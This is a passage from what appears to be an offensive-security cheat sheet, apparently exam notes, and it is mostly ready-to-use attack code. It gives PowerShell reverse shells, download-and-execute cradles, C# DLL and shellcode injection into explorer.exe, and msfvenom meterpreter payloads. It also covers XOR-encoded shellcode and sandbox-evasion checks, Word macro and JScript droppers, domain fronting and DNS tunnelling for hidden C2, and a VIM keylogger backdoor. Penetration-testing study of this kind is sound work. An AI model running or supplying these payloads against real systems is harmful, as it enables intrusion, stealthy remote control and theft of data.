while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)
Reverse PowerShell:
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("PS> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
Download payload
WebClient DownloadData http://x.x.x.x/file.exe method:
$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)
Tools that may help with AV Evasion:
- https://github.com/phra/PEzor
- https://github.com/bats3c/darkarmour
- https://github.com/loadenmb/tvasion
DLL Injection
- Open Visual Studios
- Choose
Class Library (.Net Framework)
. - Accept the default name:
ClassLibrary1
and proceed.
Staged DLL Injection
sudo msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll
This is a ConsoleApp. When its run it will inject the generated met.dll above into explorer.exe. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.
Note that this payload will write the met.dll to disk.
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
// Import the OpenProcess function from the kernel32.dll library.
// This function is used to open an existing process by its ID.
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Import the VirtualAllocEx function from the kernel32.dll library.
// This function allocates memory within a specified process.
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Import the WriteProcessMemory function from the kernel32.dll library.
// This function writes data to an area of memory in a specified process.
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Import the CreateRemoteThread function from the kernel32.dll library.
// This function creates a thread that runs in the address space of a specified process.
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// Import the GetProcAddress function from the kernel32.dll library.
// This function retrieves the address of an exported function or variable from a specified DLL.
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
// Import the GetModuleHandle function from the kernel32.dll library.
// This function retrieves a handle to the specified module (DLL) in the current process.
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
// Get the path to the My Documents folder.
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
// Construct the full path to the DLL file to be downloaded.
String dllName = dir + "\\met.dll";
// Create a WebClient instance for downloading files from the Internet.
WebClient wc = new WebClient();
// Download the DLL file from the specified URL to the local system.
wc.DownloadFile("http://192.168.119.120/met.dll", dllName);
// Get an array of Process instances for processes with the name "explorer".
Process[] expProc = Process.GetProcessesByName("explorer");
// Get the process ID of the first explorer process.
int pid = expProc[0].Id;
// Open the specified process with certain access rights.
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
// Allocate memory within the specified process.
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Declare a variable to store the number of bytes written during memory write operation.
IntPtr outSize;
// Write the bytes of the DLL name to the allocated memory in the target process.
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
// Get the address of the LoadLibraryA function from the kernel32.dll library.
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// Create a remote thread within the target process to execute the LoadLibraryA function.
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
}

Reflective DLL Injection
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory without touching the disk.
Requires a malicious DLL hosted on a download location you control.
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.
The below code is a Class Library (.NET Framework)
using System;
using System.Runtime.InteropServices;
namespace runthat
{
public class Beirut
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
public static void Tripoli()
{
byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };
int size = Tokyo.Length;
IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);
Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);
Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);
IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);
Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
Beirut.VirtualFree(Texas, 0, 0x8000);
}
}
}
Now load the DLL into memory.
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run4.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("runthat.Beirut")
$method = $class.GetMethod("Tripoli")
$method.Invoke(0, $null)
XOR’ed DLL injection code
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!
using System;
using System.Runtime.InteropServices;
namespace runthat
{
public class Beirut
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
public static void Tripoli()
{
byte[] Tokyo = new byte[324] {0xa8,....};
for (int i = 0; i < Tokyo.Length; i++)
{
Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) & 0xFF);
}
int size = Tokyo.Length;
IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);
Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);
Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);
IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);
Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
Beirut.VirtualFree(Texas, 0, 0x8000);
}
}
}
Reflective injection using Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection – PowerSploit
Public version may fail on Windows 10 1803 or newer due to issues with GetProcAddress in UnsafeNativeMethods . An updated script version is available to handle this in OneNote.
Setup:
- Allow Script Execution in PowerShell
Powershell -Exec Bypass
Commands:
- Download DLL and Get Explorer.exe Process ID:
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll')
$procid = (Get-Process -Name explorer).Id
- Import Invoke-ReflectivePEInjection Script:
Import-Module Invoke-ReflectivePEInjection.ps1
- Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID:
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.192/met3.dll')
$procid = (Get-Process -Name explorer).Id
IEX(New-Object Net.WebClient).downloadString('http://192.168.45.192/Invoke-ReflectivePEInjection.ps1')
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
Domain Fronting
Domain fronting is a technique where someone hides the true destination of their internet traffic by making it appear as though it’s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it’s then redirected to its actual, hidden destination. It’s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.
Domain Fronting with Azure CDN
Objective: Host a Meterpreter listener on meterpreter.info using Azure’s CDN to proxy requests.
1. Preliminaries:
- A controlled domain.
- An Azure subscription to create a CDN.
- An internet-accessible machine.
- Current setup: meterpreter.info points to an Ubuntu VM on DigitalOcean (IP: 138.68.99.177 ).
2. Setting Up CDN in Azure:
- From the Home screen, choose Create Resource .
- Search for CDN .
- Select CDN and click Create .
Configuration:
- Name : Any chosen name.
- Subscription : To pay for the service.
- Resource Group : Create new or use existing (Add -rg at end for new).
- RG Location : Chosen geographic location.
- Pricing Tier : Use Standard Verizon .
- CDN Endpoint Name : Chosen name with suffix .azureedge.net .
- Origin Type : Set to Custom Origin .
- Origin Hostname : The domain hosting the C2 server.
Wait ~90 minutes for Azure to complete the setup.
3. Disabling Caching:
- Caching may break the C2 channel.
- Choose Endpoint and Caching rules .
- Set Caching Behavior to Bypass Cache .
- Set Query String Caching Behavior to Bypass caching for query strings .
Wait up to 30 minutes for propagation.
4. Testing Connectivity:
4.1. HTTP Testing:
sudo python3 -m http.server 80
4.2. HTTPS Testing:
Use a Python script to handle HTTPS.
from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
import socketserver
httpd = socketserver.TCPServer(('138.68.99.177', 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="key.pem", certfile='cert.pem', server_side=True)
httpd.serve_forever()
Run the script:
sudo python3 httpsserver.py
Verify using curl :
curl http://offensive-security.azureedge.net
curl -k https://offensive-security.azureedge.net
5. Find Frontable Domain:
- Frontable domain must be hosted on azureedge.net .
- Use FindFrontableDomains tool by Steve Borosh.
Installation:
git clone https://github.com/rvrsh3ll/FindFrontableDomains
cd FindFrontableDomains/
sudo ./setup.sh
Example scan for outlook.com :
python3 FindFrontableDomains.py --domain outlook.com
[-] Enumerating subdomains now for outlook.com
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[-] Total Unique Subdomains Found: 2553
www.outlook.com
(...)
recommended.yggdrasil.outlook.com
---------------------------------------------------------
Starting search for frontable domains...
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.
Search complete!
Test potential frontable domain:
curl --header "Host: offensive-security.azureedge.net" http://chosen-frontable-domain.com
6. Inspecting Traffic:
- Use Wireshark to inspect DNS and HTTP requests.
Getting shell using Domain fronting
- Initial setup: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:
- The fronting domain is hosted on the same CDN as the attacker’s domain.
- CDN forwards requests based on the HTTP Host header.
- HTTPS Inspection: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.
- Certificate Details:
- The TLS certificate used in the exchange can be Microsoft’s.
- A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it’s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.
- Payload Creation:
- Use msfvenom to create a reverse shell payload.
- The
HttpHostHeader
option sets theHost
header in HTTP. In the example: msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe > http-df.exe
.
- Listener Configuration:
- Configure a listener on the VM hosting the attacker site.
- Use the Metasploit multi/handler exploit with specified parameters to listen for incoming connections using the domain fronting technique.
- Payload Execution:
- Start packet capturing tool (e.g., Wireshark).
- Execute the payload.
- Inspect the traffic details.
- The shell connects to the fronted domain’s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).
DNS Tunneling
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.
dnscat2
Guide: DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)

- Configuration on Ubuntu Machine
- File to Edit: /etc/dnsmasq.conf
- Config Entries:
- Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.
server=/tunnel.com/192.168.119.120
server=/somedomain.com/192.168.119.120
- Restart dnsmasq:
offsec@ubuntu:~$ sudo systemctl restart dnsmasq
- Installing and Running dnscat2 on Kali Machine
- Installation:
kali@kali:~$ sudo apt install dnscat2
- Starting Server:
kali@kali:~$ dnscat2-server tunnel.com
- Client command (example):
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com
- Running dnscat2 Client on Windows Machine
- Start Command:
dnscat2-v0.07-client-win32.exe tunnel.com
- Authentication Check
- Verify the authentication string Pedal Envied Tore Frozen Pegged Ware on both Kali and Windows sides.
- Interacting with Client Session on Kali Machine
- Attach to Session:
dnscat2> session -i 1
- Execute Commands Interactively:
command (client) 1> shell
- Switch to New Session:
command (client) 1> session -i 2
- Tunneling TCP with dnscat2 on Kali Machine
- TCP/IP Tunnels Over DNS:
- dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.
command (client) 1> listen 127.0.0.1:3389 172.16.51.21:3389
Dropper
Jscript
- It downloads a file from a specified URL (” http://192.168.1.126/met.exe“).
- It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.
- If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named “met.exe” using the `ADODB.Stream` object.
- It then uses the `WScript.Shell` object to run the “met.exe” file.
var url = " http://192.168.119.120/met.exe";
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject('ADODB.Stream');
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.Position = 0;
Stream.SaveToFile("met.exe", 2);
Stream.Close();
}
var r = new ActiveXObject("WScript.Shell").Run("met.exe");

Proxy-aware
var url = "http://192.168.119.120/met.exe";
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP.3.0");
// Set proxy details using setProxy method
xmlhttp.setProxy(2, "http://proxy.example.com:8080", "");
xmlhttp.open("GET", url, false);
xmlhttp.send();
if (xmlhttp.status === 200) {
var stream = new ActiveXObject("ADODB.Stream");
stream.Open();
stream.Type = 1;
stream.Write(xmlhttp.responseBody);
stream.Position = 0;
stream.SaveToFile("met.exe", 2);
stream.Close();
}
var shell = new ActiveXObject("WScript.Shell");
shell.Run("met.exe");
VBA
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
#
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "powershell (New-Object
System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe',
'msfstaged.exe')"
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.Path + "\msfstaged.exe"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub
Evasion techniques
AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM
Evasion techniques (checkpoint.com)
Hypervisor check
using System;
using System.Runtime.InteropServices;
class Program
{
[DllImport("hypervisor_check.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern bool is_run_in_hypervisor();
static void Main()
{
bool inHypervisor = is_run_in_hypervisor();
Console.WriteLine(inHypervisor ? "Running in a hypervisor!" : "Not running in a hypervisor.");
}
}
Sleep function
// Import dll
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
// In main
DateTime t1 = DateTime.Now;
Sleep(5000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
{
return;
}
Frida – Hooking
JScript
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It’s similar to JavaScript.
DotNetToJscript
If you get “This tool should only be run on v2 of the CLR” while trying to run the binary, look at the forum below.
DotNetToJScript compilation (offsec.com)
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error “This tool should only be run on v2 of the CLR”. The resulting .js file works just fine.
https://github.com/tyranid/DotNetToJScript
- Download DotNetToJscript.
- Open the .sln
- Compile both DotNetToJscript and ExampleAssembly
- Run the command below.
- Open demo.js
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
Testclass.cs
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
byte[] buf = new byte[460] {0xfc,0x48,...};
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
Then run this command after the above is compiled
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js
SharpShooter &SuperSharpsHooter
https://github.com/mdsecactivebreach/SharpShooter.git
# Updated version
https://github.com/SYANiDE-/SuperSharpShooter
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py (sudo is neccesary)
sudo apt install python-setuptools
pip install jsmin==2.2.2 --ignore-installed
git clone https://github.com/mdsecactivebreach/SharpShooter.git
cd SharpShooter
python2 SharpShooter.py <here all the options needed>
Generating a raw Meterpreter staged payload using msfvenom:
- Create the payload:
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt
Generating malicious Jscript file with SharpShooter:
- Invoke the SharpShooter tool with appropriate parameters:
sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test
4. Notes:
--payload js
: This specifies a Jscript output format.--dotnetver 4
: Sets the targeted .NET framework version.--stageless
: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, “stageless” refers to the method of transferring the entire Jscript payload.--rawscfile
: Specifies the file that contains our shellcode.--output
: Sets the output file name (excluding the file extension).
Kiosk Breakout
Escaping from KIOSKs – HackTricks
URIs (Uniform Resource Identifiers)
# Used to access locally-stored pages and files.
file://
# Access to internal Chrome browser pages and settings.
chrome://
# File Transfer Protocol, used for transferring files over the Internet.
ftp://
# Used to open the default mail client and initiate composing an email.
mailto:
# SMB protocol, commonly used for local network file sharing.
smb://
# Embeds data like inline images directly into content.
data:
# Initiates a call using the designated telephone number.
tel:
# Executes JavaScript code from a URL or hyperlink.
javascript:
# Represents data formats like images or other binary data.
blob:
# Used by torrent clients to download files.
magnet:
# Starts an SSH session.
ssh:
# Real-Time Messaging Protocol for streaming content.
rtmp:
# Directory services protocol.
ldap:
# An older document retrieval protocol.
gopher:
# WebSockets for real-time communication.
ws:
# Secure WebSockets.
wss:
# Denotes the XMPP/Jabber messaging protocol.
xmpp:
# Accessing newsgroups.
news:
# Protocol for accessing newsgroups.
nntp:
# Common in VoIP services.
sip:
# Defines geographical coordinates.
geo:
# Represents Bitcoin addresses for transactions.
bitcoin:
Windows Kiosk Breakout
1. Windows Explorer and Applications:
- Liabilities:
- Windows Explorer integration in apps can be a kiosk security issue.
- Especially true for Internet Explorer, foundational for many kiosks.
2. Environment Variables:
- Usage: Can be substituted for full file paths in browser-based kiosks.
- Example: %APPDATA% → local folder for app data storage.
- Notable Environment Variables:
%ALLUSERSPROFILE% → C:\Documents and Settings\All Users
%APPDATA% → C:\Documents and Settings\Username\Application Data
%COMMONPROGRAMFILES% → C:\Program Files\Common Files
%COMMONPROGRAMFILES(x86)% → C:\Program Files (x86)\Common Files
%COMSPEC% → C:\Windows\System32\cmd.exe
%HOMEDRIVE% → C:\
%HOMEPATH% → C:\Documents and Settings\Username
%PROGRAMFILES% → C:\Program Files
%PROGRAMFILES(X86)% → C:\Program Files (x86) (64-bit version only)
%SystemDrive% → C:\
%SystemRoot% → C:\Windows
%TEMP% & %TMP% → C:\Documents and Settings\Username\Local Settings\Temp
%USERPROFILE% → C:\Documents and Settings\Username
%WINDIR% → C:\Windows
3. UNC Paths:
- Usage: Enter full UNC paths in user input boxes or file browsers.
- Example: \127.0.0.1\C$\Windows\System32</a>
4. Shell Commands:
- Usage: Use “shell:” shortcut in file browser dialogs.
- Notable Shell Commands:
shell:System → Opens the system folder
shell:Common Start Menu → Opens the Public Start Menu folder
shell:Downloads → Opens the user's Downloads folder
shell:MyComputerFolder → Opens the “This PC” window
5. Browser-Protocol Style Shortcuts:
- Usage: Use “file:///” to access apps or files.
6. Windows Search Functionality:
- Usage: Use embedded search boxes to navigate to a file from the search results.
7. Help Dialog:
- Usage: Use it to search for utilities like Notepad, cmd.exe, or PowerShell.
8. File Shortcuts:
- Usage:
- Create shortcuts in a file browser dialog.
- Modify the shortcut target application to an app like cmd.exe or powershell.exe.
9. Drag and Drop:
- Usage: Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)
10. Print Dialog:
- Usage: Can be used to access Windows Explorer features.
- Usage: Use keyboard combinations to expand access.
- Notable Shortcuts:
! → Help
C+P → Print Dialog
E+A → Task Switcher
G+R → Run menu
C+~ → Start Menu
12. Bypassing Whitelisting or Blacklisting:
- Strategies:
- Copy and paste binaries, rename and run.
- Modify hash, filename, or filepath to bypass blacklists.
Linux Post Explotation
Stealthy VIM Backdoors
- Directly modifying
.vimrc
is not stealthy. - To source a shell script:
!source /path/to/script
- To import another VIM config:
:source /path/to/vim-config
- Stealthier approach: Use the
~/.vim/plugin
directory. VIM auto-loads all.vim
files from this directory.
VIM Backdoor keylogger
Leveraging VIM’s .vimrc
configuration files, it’s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.
Insert this at the end of vimrc
.
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt
:endif
- BufWritePost : Trigger event after a buffer is written.
- * : Action applies to all edited files.
- :silent : Suppress debug output.
- :w! : Forcefully save the buffer contents.
- >> /tmp/hackedfromvim.txt : Append content changes to the specified log file.
Linux Shellcode Loader
ShellcodeCrypter-bin.py
┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin
┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa
[i] Generating payload for path shell.bin.
[i] Encoding payload with type xor and key 0xfa
[+] Encoded payload (CSharp):
// Payload xor-encoded with key 0xfa
byte[] buf = new byte[68] {
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,
0xf1,0x37,0x7a
};
[i] Decoding function:
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
# ShellcodeCrypter-bin.py
#!/usr/bin/python3
# Basic shellcode crypter for C# payloads
# By Cas van Cooten
import re
import platform
import argparse
import subprocess
from random import randint
if platform.system() != "Linux":
exit("[x] ERROR: Only Linux is supported for this utility script.")
class bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
# Parse input arguments
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser()
parser.add_argument("path", help="the path to load the raw shellcode payload from", nargs='?', default="/tmp/payload.bin")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
args = parser.parse_args()
# Generate the shellcode given the input path
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.")
try:
with open(args.path, "rb") as f:
payload = f.read()
except:
exit(f'{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}')
# Format the output payload
if args.format == "cs":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}")
encodedPayload = []
payloadFormatted = ""
for byte in payload:
byteInt = int(byte)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append("{0:#0{1}x}".format(byteInt,4))
payLen = len(encodedPayload)
encodedPayload = re.sub("(.{65})", "\\1\n", ','.join(encodedPayload), 0, re.DOTALL)
payloadFormatted += f"// Payload {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
